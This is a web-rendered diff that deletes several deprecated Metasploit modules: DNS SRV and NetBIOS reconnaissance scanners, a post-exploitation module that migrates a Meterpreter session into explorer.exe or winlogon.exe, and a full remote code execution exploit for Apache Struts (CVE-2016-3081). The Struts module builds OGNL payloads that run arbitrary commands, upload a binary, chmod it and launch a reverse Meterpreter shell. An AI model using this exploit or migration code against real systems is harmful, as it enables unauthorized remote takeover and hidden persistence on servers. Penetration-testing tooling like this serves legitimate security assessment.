get_ns(datastore['DOMAIN']).each do |ns|
|
||||
switchdns(ns[:address])
|
||||
records =records + srvqry(datastore['DOMAIN'])
|
||||
end
|
||||
end
|
||||
|
||||
records.uniq!
|
||||
records.each do |r|
|
||||
print_good("Host: #{r[:host]} IP: #{r[:address].to_s} Service: #{r[:service]} Protocol: #{r[:proto]} Port: #{r[:port]} Query: #{r[:query]}")
|
||||
report_host(
|
||||
:host => r[:address].to_s,
|
||||
:name => r[:host]
|
||||
)
|
||||
report_service(
|
||||
:host=> r[:address].to_s,
|
||||
:port => r[:port].to_i,
|
||||
:proto => r[:proto],
|
||||
:name => r[:service],
|
||||
:host_name => r[:host]
|
||||
)
|
||||
report_note(
|
||||
:type => 'SRV record',
|
||||
:host => r[:address].to_s,
|
||||
:port => r[:port].to_i,
|
||||
:proto => r[:proto],
|
||||
:data => r[:query]
|
||||
)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def get_soa(target)
|
||||
results = []
|
||||
query = @res.query(target, "SOA")
|
||||
return results if not query
|
||||
(query.answer.select { |i| i.class == Net::DNS::RR::SOA}).each do |rr|
|
||||
if Rex::Socket.dotted_ip?(rr.mname)
|
||||
record = {}
|
||||
record[:host] = rr.mname
|
||||
record[:type] = "SOA"
|
||||
record[:address] = rr.mname
|
||||
results << record
|
||||
else
|
||||
get_ip(rr.mname).each do |ip|
|
||||
record = {}
|
||||
record[:host] = rr.mname.gsub(/\.$/,'')
|
||||
record[:type] = "SOA"
|
||||
record[:address] = ip[:address].to_s
|
||||
results << record
|
||||
end
|
||||
end
|
||||
end
|
||||
return results
|
||||
end
|
||||
|
||||
def srvqry(dom)
|
||||
results = []
|
||||
# Most common SRV Records
|
||||
srvrcd = [
|
||||
'_aix._tcp.',
|
||||
'_aix._tcp.',
|
||||
'_certificates._tcp.',
|
||||
'_cmp._tcp.',
|
||||
'_crl._tcp.',
|
||||
'_crls._tcp.',
|
||||
'_finger._tcp.',
|
||||
'_ftp._tcp.',
|
||||
'_gc._tcp.',
|
||||
'_gc._tcp.Default-First-Site-Name._sites.',
|
||||
'_h323be._tcp.',
|
||||
'_h323be._udp.',
|
||||
'_h323cs._tcp.',
|
||||
'_h323cs._udp.',
|
||||
'_h323ls._tcp.',
|
||||
'_h323ls._udp.',
|
||||
'_hkp._tcp.',
|
||||
'_hkps._tcp.',
|
||||
'_http._tcp.',
|
||||
'_imap.tcp.',
|
||||
'_jabber-client._tcp.',
|
||||
'_jabber-client._udp.',
|
||||
'_jabber._tcp.',
|
||||
'_jabber._udp.',
|
||||
'_kerberos._tcp.',
|
||||
'_kerberos._tcp.dc._msdcs.',
|
||||
'_kerberos._tcp.Default-First-Site-Name._sites.',
|
||||
'_kerberos._udp.',
|
||||
'_kerberos.tcp.Default-First-Site-Name._sites.dc._msdcs.',
|
||||
'_kpasswd._tcp.',
|
||||
'_kpasswd._udp.',
|
||||
'_ldap._tcp.',
|
||||
'_ldap._tcp.dc._msdcs.',
|
||||
'_ldap._tcp.Default-First-Site-Name._sites.',
|
||||
'_ldap._tcp.Default-First-Site-Name._sites.dc._msdcs.',
|
||||
'_ldap._tcp.Default-First-Site-Name._sites.gc._msdcs.',
|
||||
'_ldap._tcp.ForestDNSZones.',
|
||||
'_ldap._tcp.gc._msdcs.',
|
||||
'_ldap._tcp.pdc._msdcs.',
|
||||
'_nntp._tcp.',
|
||||
'_ocsp._tcp.',
|
||||
'_pgpkeys._tcp.',
|
||||
'_pgprevokations._tcp.',
|
||||
'_PKIXREP._tcp.',
|
||||
'_sip._tcp.',
|
||||
'_sip._tls.',
|
||||
'_sip._udp.',
|
||||
'_sipfederationtls._tcp.',
|
||||
'_sipinternal._tcp.',
|
||||
'_sipinternaltls._tcp.',
|
||||
'_sips._tcp.',
|
||||
'_smtp._tcp.',
|
||||
'_svcp._tcp.',
|
||||
'_telnet._tcp.',
|
||||
'_test._tcp.',
|
||||
'_whois._tcp.',
|
||||
'_xmpp-client._tcp.',
|
||||
'_xmpp-client._udp.',
|
||||
'_xmpp-server._tcp.',
|
||||
'_xmpp-server._udp.'
|
||||
]
|
||||
|
||||
sites = []
|
||||
if datastore['SITES']
|
||||
sites = datastore['SITES'].split(',')
|
||||
end
|
||||
|
||||
sites.each do |site|
|
||||
srvrcd = srvrcd + [
|
||||
'_gc._tcp.'+site+'._sites.',
|
||||
'_kerberos._tcp.'+site+'._sites.',
|
||||
'_kerberos.tcp.'+site+'._sites.dc._msdcs.',
|
||||
'_ldap._tcp.'+site+'._sites.',
|
||||
'_ldap._tcp.'+site+'._sites.dc._msdcs.',
|
||||
'_ldap._tcp.'+site+'._sites.gc._msdcs.'
|
||||
]
|
||||
end
|
||||
|
||||
srvrcd.each do |srvt|
|
||||
trg = "#{srvt}#{dom}"
|
||||
begin
|
||||
query = @res.query(trg , Net::DNS::SRV)
|
||||
next unless query
|
||||
query.answer.each do |srv|
|
||||
if Rex::Socket.dotted_ip?(srv.host)
|
||||
record = {}
|
||||
srv_info = srvt.scan(/^_(\S*)\._(tcp|udp)\./)[0]
|
||||
record[:query] = "#{srvt}#{dom}"
|
||||
record[:host] = srv.host.gsub(/\.$/,'')
|
||||
record[:type] = "SRV"
|
||||
record[:address] = srv.host
|
||||
record[:srv] = srvt
|
||||
record[:service] = srv_info[0]
|
||||
record[:proto] = srv_info[1]
|
||||
record[:port] = srv.port
|
||||
record[:priority] = srv.priority
|
||||
results << record
|
||||
vprint_status("SRV Record: #{trg} Host: #{srv.host.gsub(/\.$/,'')} IP: #{srv.host} Port: #{srv.port} Priority: #{srv.priority}")
|
||||
else
|
||||
get_ip(srv.host.gsub(/\.$/,'')).each do |ip|
|
||||
record = {}
|
||||
srv_info = srvt.scan(/^_(\S*)\._(tcp|udp)\./)[0]
|
||||
record[:query] = "#{srvt}#{dom}"
|
||||
record[:host] = srv.host.gsub(/\.$/,'')
|
||||
record[:type] = "SRV"
|
||||
record[:address] = ip[:address]
|
||||
record[:srv] = srvt
|
||||
record[:service] = srv_info[0]
|
||||
record[:proto] = srv_info[1]
|
||||
record[:port] = srv.port
|
||||
record[:priority] = srv.priority
|
||||
results << record
|
||||
vprint_status("SRV Record: #{trg} Host: #{srv.host} IP: #{ip[:address]} Port: #{srv.port} Priority: #{srv.priority}")
|
||||
end
|
||||
end
|
||||
end
|
||||
rescue
|
||||
end
|
||||
end
|
||||
return results
|
||||
end
|
||||
|
||||
def get_ip(host)
|
||||
results = []
|
||||
query = @res.search(host, "A")
|
||||
if (query)
|
||||
query.answer.each do |rr|
|
||||
if rr.type == "CNAME"
|
||||
results = results + get_ip(rr.cname)
|
||||
else
|
||||
record = {}
|
||||
record[:host] = host
|
||||
record[:type] = "AAAA"
|
||||
record[:address] = rr.address.to_s
|
||||
results << record
|
||||
end
|
||||
end
|
||||
end
|
||||
query1 = @res.search(host, "AAAA")
|
||||
if (query1)
|
||||
query1.answer.each do |rr|
|
||||
if rr.type == "CNAME"
|
||||
results = results + get_ip(rr.cname)
|
||||
else
|
||||
record = {}
|
||||
record[:host] = host
|
||||
record[:type] = "AAAA"
|
||||
record[:address] = rr.address.to_s
|
||||
results << record
|
||||
end
|
||||
end
|
||||
end
|
||||
return results
|
||||
end
|
||||
|
||||
def switchdns(ns)
|
||||
vprint_status("Enumerating SRV Records on: #{ns}")
|
||||
@res.nameserver=(ns)
|
||||
@nsinuse = ns
|
||||
end
|
||||
|
||||
def get_ns(target)
|
||||
results = []
|
||||
query = @res.query(target, "NS")
|
||||
return results if not query
|
||||
(query.answer.select { |i| i.class == Net::DNS::RR::NS}).each do |rr|
|
||||
get_ip(rr.nsdname).each do |r|
|
||||
record = {}
|
||||
record[:host] = rr.nsdname.gsub(/\.$/,'')
|
||||
record[:type] = "NS"
|
||||
record[:address] = r[:address].to_s
|
||||
results << record
|
||||
end
|
||||
end
|
||||
return results
|
||||
end
|
||||
end
|
|
@ -1,302 +0,0 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Module::Deprecated
|
||||
|
||||
deprecated(Date.new(2016, 9, 1), 'auxiliary/scanner/netbios/nbname')
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'NetBIOS Information Discovery Prober',
|
||||
'Description' => 'Discover host information using sequential NetBIOS Probes',
|
||||
'Author' => ['hdm', 'todb'],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::CHOST,
|
||||
Opt::RPORT(137)
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT'].to_i
|
||||
end
|
||||
|
||||
# Fingerprint a single host
|
||||
def run_host(ip)
|
||||
|
||||
@thost = ip
|
||||
|
||||
@results = {}
|
||||
begin
|
||||
udp_sock = nil
|
||||
|
||||
# Create an unbound UDP socket if no CHOST is specified, otherwise
|
||||
# create a UDP socket bound to CHOST (in order to avail of pivoting)
|
||||
udp_sock = Rex::Socket::Udp.create( {
|
||||
'LocalHost' => datastore['CHOST'] || nil,
|
||||
'PeerHost' => ip, 'PeerPort' => rport,
|
||||
'Context' => {'Msf' => framework, 'MsfExploit' => self}
|
||||
})
|
||||
add_socket(udp_sock)
|
||||
|
||||
begin
|
||||
data = create_netbios_status(ip)
|
||||
udp_sock.put(data)
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused
|
||||
nil
|
||||
end
|
||||
|
||||
while (r = udp_sock.recvfrom(65535, 0.1) and r[1])
|
||||
parse_reply(r)
|
||||
end
|
||||
|
||||
while (r = udp_sock.recvfrom(65535, 3) and r[1])
|
||||
parse_reply(r)
|
||||
end
|
||||
|
||||
# Second pass to find additional IPs per host name
|
||||
|
||||
@results.keys.each do |ip|
|
||||
next if not @results[ip][:name]
|
||||
begin
|
||||
data = create_netbios_lookup(@results[ip][:name])
|
||||
udp_sock.put(data)
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused
|
||||
nil
|
||||
end
|
||||
|
||||
while (r = udp_sock.recvfrom(65535, 0.1) and r[1])
|
||||
parse_reply(r)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
while (r = udp_sock.recvfrom(65535, 3) and r[1])
|
||||
parse_reply(r)
|
||||
end
|
||||
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Errno::ENOBUFS
|
||||
print_status("Socket buffers are full, waiting for them to flush...")
|
||||
while (r = udp_sock.recvfrom(65535, 0.1) and r[1])
|
||||
parse_reply(r)
|
||||
end
|
||||
select(nil, nil, nil, 0.25)
|
||||
rescue ::Exception => e
|
||||
print_error("Unknown error: #{e.class} #{e}")
|
||||
end
|
||||
|
||||
@results.keys.each do |ip|
|
||||
next unless inside_workspace_boundary?(ip)
|
||||
host = @results[ip]
|
||||
user = ""
|
||||
os = "Windows"
|
||||
|
||||
if(host[:user] and host[:mac] != "00:00:00:00:00:00")
|
||||
user = " User:#{host[:user]}"
|
||||
end
|
||||
|
||||
if(host[:mac] == "00:00:00:00:00:00")
|
||||
os = "Unix"
|
||||
end
|
||||
|
||||
names = ""
|
||||
if host[:names]
|
||||
names = " Names:(" + host[:names].map{|n| n[0]}.uniq.join(", ") + ")"
|
||||
end
|
||||
|
||||
addrs = ""
|
||||
if(host[:addrs])
|
||||
addrs = "Addresses:(" + host[:addrs].map{|n| n[0]}.uniq.join(", ") + ")"
|
||||
end
|
||||
|
||||
if(host[:mac] != "00:00:00:00:00:00")
|
||||
report_host(:host => ip, :mac => host[:mac])
|
||||
else
|
||||
report_host(:host => ip)
|
||||
end
|
||||
|
||||
extra = ""
|
||||
|
||||
virtual = nil
|
||||
case host[:mac]
|
||||
when /^00:13:07/i
|
||||
virtual = 'ParaVirtual'
|
||||
when /^(00:1C:14|00:50:56|00:05:69|00:0c:29)/i
|
||||
virtual = 'VMWare'
|
||||
when /^00:1C:42/
|
||||
virtual = "Parallels"
|
||||
when /^00:18:51/
|
||||
virtual = "SWsoft Virtuozzo"
|
||||
when /^00:21:F6/i
|
||||
virtual = 'Virtual Iron'
|
||||
when /^00:16:3e/
|
||||
virtual = 'Xen'
|
||||
when /^(54:52:00|DE:AD:BE)/
|
||||
virtual = 'QEMU (unofficial)'
|
||||
when /^00:24:0B/i
|
||||
virtual = 'Virtual Computer Inc'
|
||||
end
|
||||
|
||||
if(virtual)
|
||||
extra = "Virtual Machine:#{virtual}"
|
||||
report_note(
|
||||
:host => ip,
|
||||
:type => 'host.virtual_machine',
|
||||
:data => {:vendor => virtual, :method => 'netbios'}
|
||||
)
|
||||
end
|
||||
|
||||
if(host[:addrs])
|
||||
aliases = []
|
||||
host[:addrs].map{|n| n[0]}.uniq.each do |addr|
|
||||
next if addr == ip
|
||||
aliases << addr
|
||||
end
|
||||
|
||||
if not aliases.empty?
|
||||
report_note(
|
||||
:host => ip,
|
||||
:proto => 'udp',
|
||||
:port => 137,
|
||||
:type => 'netbios.addresses',
|
||||
:data => {:addresses => aliases}
|
||||
)
|
||||
end
|
||||
end
|
||||
|
||||
print_status("#{ip} [#{host[:name]}] OS:#{os}#{user}#{names} #{addrs} Mac:#{host[:mac]} #{extra}")
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def parse_reply(pkt)
|
||||
# Ignore "empty" packets
|
||||
return if not pkt[1]
|
||||
|
||||
addr = pkt[1]
|
||||
if(addr =~ /^::ffff:/)
|
||||
addr = addr.sub(/^::ffff:/, '')
|
||||
end
|
||||
|
||||
data = pkt[0]
|
||||
|
||||
head = data.slice!(0,12)
|
||||
|
||||
xid, flags, quests, answers, auths, adds = head.unpack('n6')
|
||||
|
||||
return if quests != 0
|
||||
return if answers == 0
|
||||
|
||||
qname = data.slice!(0,34)
|
||||
rtype,rclass,rttl,rlen = data.slice!(0,10).unpack('nnNn')
|
||||
buff = data.slice!(0,rlen)
|
||||
|
||||
names = []
|
||||
|
||||
hname = nil
|
||||
uname = nil
|
||||
|
||||
case rtype
|
||||
when 0x21
|
||||
rcnt = buff.slice!(0,1).unpack("C")[0]
|
||||
1.upto(rcnt) do
|
||||
tname = buff.slice!(0,15).gsub(/\x00.*/, '').strip
|
||||
ttype = buff.slice!(0,1).unpack("C")[0]
|
||||
tflag = buff.slice!(0,2).unpack('n')[0]
|
||||
names << [ tname, ttype, tflag ]
|
||||
hname = tname if ttype == 0x20
|
||||
uname = tname if ttype == 0x03
|
||||
end
|
||||
maddr = buff.slice!(0,6).unpack("C*").map{|c| "%.2x" % c }.join(":")
|
||||
|
||||
@results[addr] = {
|
||||
:names => names,
|
||||
:mac => maddr
|
||||
}
|
||||
|
||||
if (!hname and @results[addr][:names].length > 0)
|
||||
@results[addr][:name] = @results[addr][:names][0][0]
|
||||
end
|
||||
|
||||
@results[addr][:name] = hname if hname
|
||||
@results[addr][:user] = uname if uname
|
||||
|
||||
inf = ''
|
||||
names.each do |name|
|
||||
inf << name[0]
|
||||
inf << ":<%.2x>" % name[1]
|
||||
if (name[2] & 0x8000 == 0)
|
||||
inf << ":U :"
|
||||
else
|
||||
inf << ":G :"
|
||||
end
|
||||
end
|
||||
inf << maddr
|
||||
|
||||
if inside_workspace_boundary?(addr)
|
||||
report_service(
|
||||
:host => addr,
|
||||
:mac => (maddr and maddr != '00:00:00:00:00:00') ? maddr : nil,
|
||||
:host_name => (hname) ? hname.downcase : nil,
|
||||
:port => pkt[2],
|
||||
:proto => 'udp',
|
||||
:name => 'netbios',
|
||||
:info => inf
|
||||
)
|
||||
end
|
||||
when 0x20
|
||||
1.upto(rlen / 6.0) do
|
||||
tflag = buff.slice!(0,2).unpack('n')[0]
|
||||
taddr = buff.slice!(0,4).unpack("C*").join(".")
|
||||
names << [ taddr, tflag ]
|
||||
end
|
||||
@results[addr][:addrs] = names
|
||||
end
|
||||
end
|
||||
|
||||
def create_netbios_status(ip)
|
||||
data =
|
||||
[rand(0xffff)].pack('n')+
|
||||
"\x00\x00\x00\x01\x00\x00\x00\x00"+
|
||||
"\x00\x00\x20\x43\x4b\x41\x41\x41"+
|
||||
"\x41\x41\x41\x41\x41\x41\x41\x41"+
|
||||
"\x41\x41\x41\x41\x41\x41\x41\x41"+
|
||||
"\x41\x41\x41\x41\x41\x41\x41\x41"+
|
||||
"\x41\x41\x41\x00\x00\x21\x00\x01"
|
||||
|
||||
return data
|
||||
end
|
||||
|
||||
def create_netbios_lookup(name)
|
||||
name = [name].pack("A15") + "\x00"
|
||||
|
||||
data =
|
||||
[rand(0xffff)].pack('n') +
|
||||
"\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00" +
|
||||
"\x20" +
|
||||
Rex::Proto::SMB::Utils.nbname_encode(name) +
|
||||
"\x00" +
|
||||
"\x00\x20\x00\x01"
|
||||
|
||||
return data
|
||||
end
|
||||
end
|
|
@ -1,194 +0,0 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Module::Deprecated
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
deprecated(Date.new(2016, 6, 1), 'exploit/multi/http/struts_dmi_exec')
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Apache Struts Dynamic Method Invocation Remote Code Execution',
|
||||
'Description' => %q{
|
||||
This module exploits a remote command execution vulnerability in Apache Struts
|
||||
version between 2.3.20 and 2.3.28 (except 2.3.20.2 and 2.3.24.2). Remote Code
|
||||
Execution can be performed via method: prefix when Dynamic Method Invocation
|
||||
is enabled.
|
||||
},
|
||||
'Author' => [ 'Nixawk' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2016-3081' ],
|
||||
[ 'URL', 'https://www.seebug.org/vuldb/ssvid-91389' ]
|
||||
],
|
||||
'Platform' => %w{ linux },
|
||||
'Privileged' => true,
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp_uuid'
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
['Linux Universal',
|
||||
{
|
||||
'Arch' => ARCH_X86,
|
||||
'Platform' => 'linux'
|
||||
}
|
||||
]
|
||||
],
|
||||
'DisclosureDate' => 'Apr 27 2016',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8080),
|
||||
OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/blank-struts2/login.action']),
|
||||
OptString.new('TMPPATH', [ false, 'Overwrite the temp path for the file upload. Needed if the home directory is not writable.', nil])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def print_status(msg='')
|
||||
super("#{peer} - #{msg}")
|
||||
end
|
||||
|
||||
def send_http_request(payload)
|
||||
uri = normalize_uri(datastore['TARGETURI'])
|
||||
res = send_request_cgi(
|
||||
'uri' => "#{uri}#{payload}",
|
||||
'method' => 'POST')
|
||||
if res && res.code == 404
|
||||
fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI')
|
||||
end
|
||||
res
|
||||
end
|
||||
|
||||
def parameterize(params) # params is a hash
|
||||
URI.escape(params.collect { |k, v| "#{k}=#{v}" }.join('&'))
|
||||
end
|
||||
|
||||
def generate_rce_payload(code, params_hash)
|
||||
payload = "?method:"
|
||||
payload << Rex::Text.uri_encode("#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS")
|
||||
payload << ","
|
||||
payload << Rex::Text.uri_encode(code)
|
||||
payload << ","
|
||||
payload << Rex::Text.uri_encode("1?#xx:#request.toString")
|
||||
payload << "&"
|
||||
payload << parameterize(params_hash)
|
||||
payload
|
||||
end
|
||||
|
||||
def temp_path
|
||||
@TMPPATH ||= lambda {
|
||||
path = datastore['TMPPATH']
|
||||
return nil unless path
|
||||
unless path.end_with?('/')
|
||||
path << '/'
|
||||
end
|
||||
return path
|
||||
}.call
|
||||
end
|
||||
|
||||
def upload_file(filename, content)
|
||||
var_a = rand_text_alpha_lower(4)
|
||||
var_b = rand_text_alpha_lower(4)
|
||||
var_c = rand_text_alpha_lower(4)
|
||||
var_d = rand_text_alpha_lower(4)
|
||||
|
||||
code = "##{var_a}=new sun.misc.BASE64Decoder(),"
|
||||
code << "##{var_b}=new java.io.FileOutputStream(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_c}[0]))),"
|
||||
code << "##{var_b}.write(##{var_a}.decodeBuffer(#parameters.#{var_d}[0])),"
|
||||
code << "##{var_b}.close()"
|
||||
|
||||
params_hash = { var_c => filename, var_d => content }
|
||||
payload = generate_rce_payload(code, params_hash)
|
||||
|
||||
send_http_request(payload)
|
||||
end
|
||||
|
||||
def execute_command(cmd)
|
||||
var_a = rand_text_alpha_lower(4)
|
||||
var_b = rand_text_alpha_lower(4)
|
||||
var_c = rand_text_alpha_lower(4)
|
||||
var_d = rand_text_alpha_lower(4)
|
||||
var_e = rand_text_alpha_lower(4)
|
||||
var_f = rand_text_alpha_lower(4)
|
||||
|
||||
code = "##{var_a}=@java.lang.Runtime@getRuntime().exec(#parameters.#{var_f}[0]).getInputStream(),"
|
||||
code << "##{var_b}=new java.io.InputStreamReader(##{var_a}),"
|
||||
code << "##{var_c}=new java.io.BufferedReader(##{var_b}),"
|
||||
code << "##{var_d}=new char[1024],"
|
||||
code << "##{var_c}.read(##{var_d}),"
|
||||
|
||||
code << "##{var_e}=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),"
|
||||
code << "##{var_e}.println(##{var_d}),"
|
||||
code << "##{var_e}.close()"
|
||||
|
||||
cmd.tr!(' ', '+') if cmd && cmd.include?(' ')
|
||||
params_hash = { var_f => cmd }
|
||||
payload = generate_rce_payload(code, params_hash)
|
||||
|
||||
send_http_request(payload)
|
||||
end
|
||||
|
||||
def linux_stager
|
||||
payload_exe = rand_text_alphanumeric(4 + rand(4))
|
||||
path = temp_path || '/tmp/'
|
||||
payload_exe = "#{path}#{payload_exe}"
|
||||
|
||||
b64_filename = Rex::Text.encode_base64(payload_exe)
|
||||
b64_content = Rex::Text.encode_base64(generate_payload_exe)
|
||||
|
||||
print_status("Uploading exploit to #{payload_exe}")
|
||||
upload_file(b64_filename, b64_content)
|
||||
|
||||
print_status("Attempting to execute the payload...")
|
||||
execute_command("chmod 700 #{payload_exe}")
|
||||
execute_command("/bin/sh -c #{payload_exe}")
|
||||
end
|
||||
|
||||
def exploit
|
||||
linux_stager
|
||||
end
|
||||
|
||||
def check
|
||||
var_a = rand_text_alpha_lower(4)
|
||||
var_b = rand_text_alpha_lower(4)
|
||||
|
||||
addend_one = rand_text_numeric(rand(3) + 1).to_i
|
||||
addend_two = rand_text_numeric(rand(3) + 1).to_i
|
||||
sum = addend_one + addend_two
|
||||
flag = Rex::Text.rand_text_alpha(5)
|
||||
|
||||
code = "##{var_a}=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),"
|
||||
code << "##{var_a}.print(#parameters.#{var_b}[0]),"
|
||||
code << "##{var_a}.print(new java.lang.Integer(#{addend_one}+#{addend_two})),"
|
||||
code << "##{var_a}.print(#parameters.#{var_b}[0]),"
|
||||
code << "##{var_a}.close()"
|
||||
|
||||
params_hash = { var_b => flag }
|
||||
payload = generate_rce_payload(code, params_hash)
|
||||
|
||||
begin
|
||||
resp = send_http_request(payload)
|
||||
rescue Msf::Exploit::Failed
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
if resp && resp.code == 200 && resp.body.include?("#{flag}#{sum}#{flag}")
|
||||
Exploit::CheckCode::Vulnerable
|
||||
else
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -14,9 +14,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
# Exploit mixins should be called first
|
||||
include Msf::Exploit::Remote::SMB::Client::Psexec
|
||||
include Msf::Exploit::Powershell
|
||||
include Msf::Module::Deprecated
|
||||
|
||||
deprecated(Date.new(2016, 4, 30), 'exploit/windows/smb/psexec')
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
|
|
|
@ -1,76 +0,0 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex'
|
||||
|
||||
class MetasploitModule < Msf::Post
|
||||
|
||||
include Msf::Module::Deprecated
|
||||
|
||||
deprecated(Date.new(2016, 2, 13), 'post/windows/manage/priv_migrate')
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'Windows Manage Smart Process Migration',
|
||||
'Description' => %q{ This module will migrate a Meterpreter session.
|
||||
It will first attempt to migrate to explorer.exe for the current user. Failing that,
|
||||
it will attempt any other explorer.exe processes. Finally it will fall back to winlogon.exe},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'thelightcosine'],
|
||||
'Platform' => [ 'win' ],
|
||||
'SessionTypes' => [ 'meterpreter' ]
|
||||
))
|
||||
|
||||
|
||||
end
|
||||
|
||||
def run
|
||||
server = client.sys.process.open
|
||||
original_pid = server.pid
|
||||
print_status("Current server process: #{server.name} (#{server.pid})")
|
||||
if server.name.casecmp("winlogon.exe") == 0 or server.name.casecmp("explorer.exe") == 0
|
||||
print_good("Current process is already in #{server.name} process, exiting.")
|
||||
return
|
||||
end
|
||||
|
||||
|
||||
uid = client.sys.config.getuid
|
||||
|
||||
processes = client.sys.process.get_processes
|
||||
|
||||
uid_explorer_procs = []
|
||||
explorer_procs = []
|
||||
winlogon_procs = []
|
||||
processes.each do |proc|
|
||||
uid_explorer_procs << proc if proc['name'] == "explorer.exe" and proc["user"] == uid
|
||||
explorer_procs << proc if proc['name'] == "explorer.exe" and proc["user"] != uid
|
||||
winlogon_procs << proc if proc['name'] == "winlogon.exe"
|
||||
end
|
||||
|
||||
print_status "Attempting to move into explorer.exe for current user..."
|
||||
uid_explorer_procs.each { |proc| return if attempt_migration(proc['pid']) }
|
||||
print_status "Attempting to move into explorer.exe for other users..."
|
||||
explorer_procs.each { |proc| return if attempt_migration(proc['pid']) }
|
||||
print_status "Attempting to move into winlogon.exe"
|
||||
winlogon_procs.each { |proc| return if attempt_migration(proc['pid']) }
|
||||
|
||||
print_error "Was unable to sucessfully migrate into any of our likely candidates"
|
||||
end
|
||||
|
||||
|
||||
def attempt_migration(target_pid)
|
||||
begin
|
||||
print_good("Migrating to #{target_pid}")
|
||||
client.core.migrate(target_pid)
|
||||
print_good("Successfully migrated to process #{target_pid}")
|
||||
return true
|
||||
rescue ::Exception => e
|
||||
print_error("Could not migrate in to process.")
|
||||
print_error(e.to_s)
|
||||
return false
|
||||
end
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue